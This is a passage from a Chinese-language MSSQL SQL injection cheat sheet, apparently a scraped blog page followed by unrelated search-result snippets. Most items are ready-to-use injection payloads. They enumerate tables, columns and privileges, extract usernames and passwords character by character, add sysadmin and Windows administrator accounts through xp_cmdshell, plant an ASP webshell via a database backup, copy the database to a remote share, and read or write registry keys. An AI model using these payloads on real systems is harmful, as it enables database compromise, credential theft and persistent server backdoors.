    and (select count() from TestDB.dbo.表名)>0 若表名存在,则abc.asp工作正常,否则异常。如此循环,直到猜到系统帐号表的名称。
    19、判断是否是sysadmin权限
    and 1=(SELECT IS_SRVROLEMEMBER(‘sysadmin’))
    20、判断是否是SA用户
    ‘sa’=(SELECT System_user)
    21、查看数据库角色
    ;use model–
    22、查看库名
    and 0<>(select count(
    ) from master.dbo.sysdatabases where name>1 and dbid=6)–
    23、获得第一个用户建立表的名称
    and (select top 1 name from TestDB.dbo.sysobjects where xtype=‘U’ and status>0 )>0 假设要获得数据库是TestDB.dbo
    24、获得第二个用户建立的表的名称
    and (select top 1 name from TestDB.dbo.sysobjects where xtype=‘U’ and status>0 and name not in(‘xyz’))>0
    25、获得第三个用户建立的表的名称
    and (select top 1 name from TestDB.dbo.sysobjects where xtype=‘U’ and status>0 and name not in(‘xyz’,’’))>0 ‘‘中为第二个用户名
    26、获得第四个用户建立的表的名称
    and (select top 1 name from TestDB.dbo.sysobjects where xtype=‘U’ and status>0 and name not in(‘xyz’,’’,’’))>0 ‘’,’‘中为第二,三个用户名
    27、获得表中记录的条数
    and (select count() from 表名)<5 记录条数小于5 或 <10 记录条数小于10 ……等等
    28、测试权限结构(mssql)
    and 1=(SELECT IS_SRVROLEMEMBER(‘sysadmin’));–
    and 1=(SELECT IS_SRVROLEMEMBER(‘serveradmin’));–
    and 1=(SELECT IS_SRVROLEMEMBER(‘setupadmin’));–
    and 1=(SELECT IS_SRVROLEMEMBER(‘securityadmin’));–
    and 1=(SELECT IS_SRVROLEMEMBER(‘diskadmin’));–
    and 1=(SELECT IS_SRVROLEMEMBER(‘bulkadmin’));–
    and 1=(SELECT IS_MEMBER(‘db_owner’));–
    29、 添加mssql和系统的帐户
    ;exec master.dbo.sp_addlogin username;–
    ;exec master.dbo.sp_password null,username,password;–
    ;exec master.dbo.sp_addsrvrolemember sysadmin username;–
    ;exec master.dbo.xp_cmdshell 'net user username password /workstations:
    /times:all /passwordchg:yes /passwordreq:yes /active:yes /add’;–
    ;exec master.dbo.xp_cmdshell ‘net user username password /add’;–
    ;exec master.dbo.xp_cmdshell ‘net localgroup administrators username /add’;–
    30、 简洁的webshell
    use model
    create table cmd(str image);
    insert into cmd(str) values (’<%=server.createobject(“wscript.shell”).exec("cmd.exe /c "&request(“c”)).stdout.readall%>’);
    backup database model to disk=‘g:\wwwtest\l.asp’;

    请求的时候,像这样子用:
    http://ip/l.asp?c=dir
    31、猜解字段名称
    猜解法:and (select count(字段名) from 表名)>0 若“字段名”存在,则返回正常
    读取法:and (select top 1 col_name(object_id(‘表名’),1) from sysobjects)>0 把col_name(object_id(‘表名’),1)中的1依次换成2,3,4,5,6…就可得到所有的字段名称。
    32、 猜解用户名与密码
    ASCII码逐字解码法:基本的思路是先猜出字段的长度,然后依次猜出每一位的值
    and (select top 1 len(username) from admin)=X(X=1,2,3,4,5,… n,假设:username为用户名字段的名称,admin为表的名称 若x为某一值i且abc.asp运行正常时,则i就是第一个用户名的长度。
    and (select top 1 ascii(substring(username,m,1)) from admin)=n (m的值在上一步得到的用户名长度之间,当m=1,2,3,…时猜测分别猜测第1,2,3,…位的值;n的值是19、az、AZ的ASCII值,也就是1128之间的任意值;admin为系统用户帐号表的名称),
    33、建立数据表
    ;create table 表名 (列名1 数据类型,列名2 数据类型);–
    34、向表格中插入数据
    ;insert into 表名 (列名1,列名2,……) values (‘值1’,‘值2’……);–
    35、更新记录
    update 表名 set 列名1=‘值’…… where ……
    36、删除记录
    delete from 表名 where ……
    37、删除数据库表格
    drop table 表名
    38、将文本文件导入表
    使用’bulk insert’语法可以将一个文本文件插入到一个临时表中。简单地创建这个表:
    create table foo( line varchar(8000))
    然后执行bulk insert操作把文件中的数据插入到表中,如:
    bulk insert foo from ‘c:\inetpub\wwwroot\process_login.asp’
    39、备份当前数据库的命令:
    declare @a sysname;set @a=db_name();backup database @a to disk=‘你的IP你的共享目录bak.dat’ ,name=‘test’;–
    40、使用sp_makewebtask处理过程的相关请求写入URL
    ; EXEC master…sp_makewebtask “\10.10.1.3\share\output.html”, “SELECT * FROM INFORMATION_SCHEMA.TABLES”
    41、将获得SQLSERVER进程的当前工作目录中的目录列表
    Exec master…xp_cmdshell ‘dir’
    42、将提供服务器上所有用户的列表
    Exec master…xp_cmdshell ‘net user’
    43、读注册表存储过程
    exec xp_regread HKEY_LOCAL_MACHINE,‘SYSTEM\CurrentControlSet\Services\lanmanserver\parameters’, ‘nullsessionshares’
    44、xp_servicecontrol过程允许用户启动,停止,暂停和继续服务
    exec master…xp_servicecontrol ‘start’,‘schedule’
    exec master…xp_servicecontrol ‘start’,‘server’
    45、显示机器上有用的驱动器
    Xp_availablemedia
    46、允许获得一个目录树
    Xp_dirtree
    47、提供进程的进程ID,终止此进程
    Xp_terminate_process
    48、恢复xp_cmdshell
    Exec master.dbo.addextendedproc ‘xp_cmdshell’,‘xplog70.dll’
    49、堵上cmdshell的SQL语句
    sp_dropextendedproc “xp_cmdshell”
    50、不需要XP_CMDSHLL直接添加系统帐号,对XPLOG70.DLL被删很有效
    declare @shell int exec sp_oacreate ‘wscript.shell’,@shell output exec sp_oamethod @shell,‘run’,null,‘c:\winnt\system32\cmd.exe /c net user gchn aaa /add’–
    51、在数据库内添加一个hax用户
    ;exec sp_addlogin hax;–
    52、给hax设置密码
    ;exec master.dbo.sp_password null,username,password;–
    53、将hax添加到sysadmin组
    ;exec master.dbo.sp_addsrvrolemember sysadmin hax;–
    54、(1)遍历目录
    ;create table dirs(paths varchar(100), id int)
    ;insert dirs exec master.dbo.xp_dirtree ‘c:’
    ;and (select top 1 paths from dirs)>0
    ;and (select top 1 paths from dirs where paths not in(‘上步得到的paths’))>)
    55、(2)遍历目录
    ;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));–
    ;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
    ;insert into temp(id) exec master.dbo.xp_subdirs ‘c:’;-- 获得子目录列表
    ;insert into temp(id,num1) exec master.dbo.xp_dirtree ‘c:’;-- 获得所有子目录的目录树结构
    ;insert into temp(id) exec master.dbo.xp_cmdshell ‘type c:\web\index.asp’;-- 查看文件的内容
    56、mssql中的存储过程
    xp_regenumvalues 注册表根键, 子键
    ;exec xp_regenumvalues ‘HKEY_LOCAL_MACHINE’,‘SOFTWARE\Microsoft\Windows\CurrentVersion\Run’ 以多个记录集方式返回所有键值
    xp_regread 根键,子键,键值名
    ;exec xp_regread ‘HKEY_LOCAL_MACHINE’,‘SOFTWARE\Microsoft\Windows\CurrentVersion’,‘CommonFilesDir’ 返回制定键的值
    xp_regwrite 根键,子键, 值名, 值类型, 值
    值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
    ;exec xp_regwrite ‘HKEY_LOCAL_MACHINE’,‘SOFTWARE\Microsoft\Windows\CurrentVersion’,‘TestValueName’,‘reg_sz’,‘hello’ 写入注册表
    xp_regdeletevalue 根键,子键,值名
    exec xp_regdeletevalue ‘HKEY_LOCAL_MACHINE’,‘SOFTWARE\Microsoft\Windows\CurrentVersion’,‘TestValueName’ 删除某个值
    xp_regdeletekey ‘HKEY_LOCAL_MACHINE’,'SOFTWARE\Microsoft\Windows\CurrentVersion\Tes**

    展开全文
  • SQL注入语句五例

    2013-05-01 17:44:00
    SQL注入语句是学习SQL语句过程中需要掌握的知识,下面就为您介绍5个标准的SQL注入语句,希望对您了解SQL注入语句有所帮助。 1.判断有无注入点 ;and11=1and1=2 2.猜表一般的表的名称无非是admin adminuser ...
  • sql注入语句示例大全GROUP BY gives us a way to combine rows and aggregate data. GROUP BY为我们提供了一种合并行和汇总数据的方法。 The data used is from the campaign contributions data we’ve been using...
  • 什么是sql注入?所谓SQL注入,就是通过把SQL命令插入到 Web表单... 登录框(页面请求查询)二、SQL注入原理SQL注入(SQLInjection)是这样一种漏洞:当我们的Web app 在向后台数据库传递SQL语句进行数据库操作时。如果对...
  • SQL注入语句实例演示和解释,讲解具体怎样用注入语句,不同的情况用不现的注入方法。。。。。。。
  • 常用sql注入语句

    2019-08-19 13:41:00
    首先,看看SQL注入攻击能分为以下三种类型: Inband:数据经由SQL代码注入的通道取出,这是最直接的一种攻击,通过SQL注入获取的信息直接反映到应用程序的Web页面上; Out-of-band:数据通过不同于SQL代码注入的...
  • 通过两个ctf题来做讲解,第一个很简单,第二个多了些限制http://lab1.xseclab.com/sqli2_3265b4852c13383560327d1c31550b60/index.phphttp://ctf5.shiyanbar.com/web/wonderkun/web/index.html 万能密码...$sql =...
  • MySQL是一种使用很广的数据库,大部分网站都是用MySQL,所以熟悉对MySQL数据库的注入很重要。首先来说下MySQL注入的相关知识点在MySQL5.0版本之后,MySQL默认在数据库存放一个“information_schema”的数据库,在这...
  • SQL注入语句大全

    万次阅读 2018-03-16 11:41:49
    1.判断有无注入点 ; and 1=1 and 1=22.猜表一般的表的名称无非是admin adminuser user pass password 等.. and 0&lt;&gt;(select count(*) from *) and 0&lt;&gt;(select count(*) from admin) -...
  • 1、通过floor报错,注入语句如下: andselect1from(selectcount(*),concat(version(),floor(rand(0)*2))xfrominformation_schema.tablesgroupbyx)a); 2、通过ExtractValue报错,注入语句如下: andextractva.....
  • 目录 接上一篇内容 写在前面 信息汇总 漏洞汇总: 数据库信息: ...利用information_schema库: ...白帽SQL注入实战过程记录——TW某净化设备公司官网 写在前面 作为一个防御型白帽子子 你一定要知道.
  • DB2数据库SQL注入语句

    2015-02-17 13:13:31
    可以试试学习一下,不可以滥用, 猜用户表数量: and 0<(SELECT count(NAME) FROM SYSIBM.SYSTABLES where CREATOR=USER)
  • sql注入语句大全

    千次阅读 2018-03-29 11:30:36
    转载~原文见:https://blog.csdn.net/zzq19860626/article/details/102204271.判断有无注入点 ; and 1=1 and 1=22.猜表一般的表的名称无非是admin adminuser user pass password 等.. and 0&lt;&gt;...
  • 常用的SQL注入语句

    千次阅读 2018-10-11 20:12:03
    每天SQL语句均由一个谓词开始,该谓词描述这条语句要产生的动作,列如SELECT或UPDATE关键字。谓词后紧接一条或多天子句,子句中给出了被谓词作用的数据或提供谓词动作的详细信息。每条子句由一个关键字开始,SELECT...
  • 绕过WAF的SQL注入语句

    万次阅读 2016-05-03 16:46:56
    现在的网络环境往往是WAF/IPS/IDS保护着Web 服务器等等,这种保护措施往往会过滤挡住我们的SQL注入查询链接,甚至封锁我们的主机IP,所以这个时候,我们就要考虑怎样进行绕过,达到注入的目标。因为现在WAF/IPS/IDS...
  • Select * from products where product_id = ‘ ’ or 1=1;

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 11,672
精华内容 4,668
关键字:

sql注入语句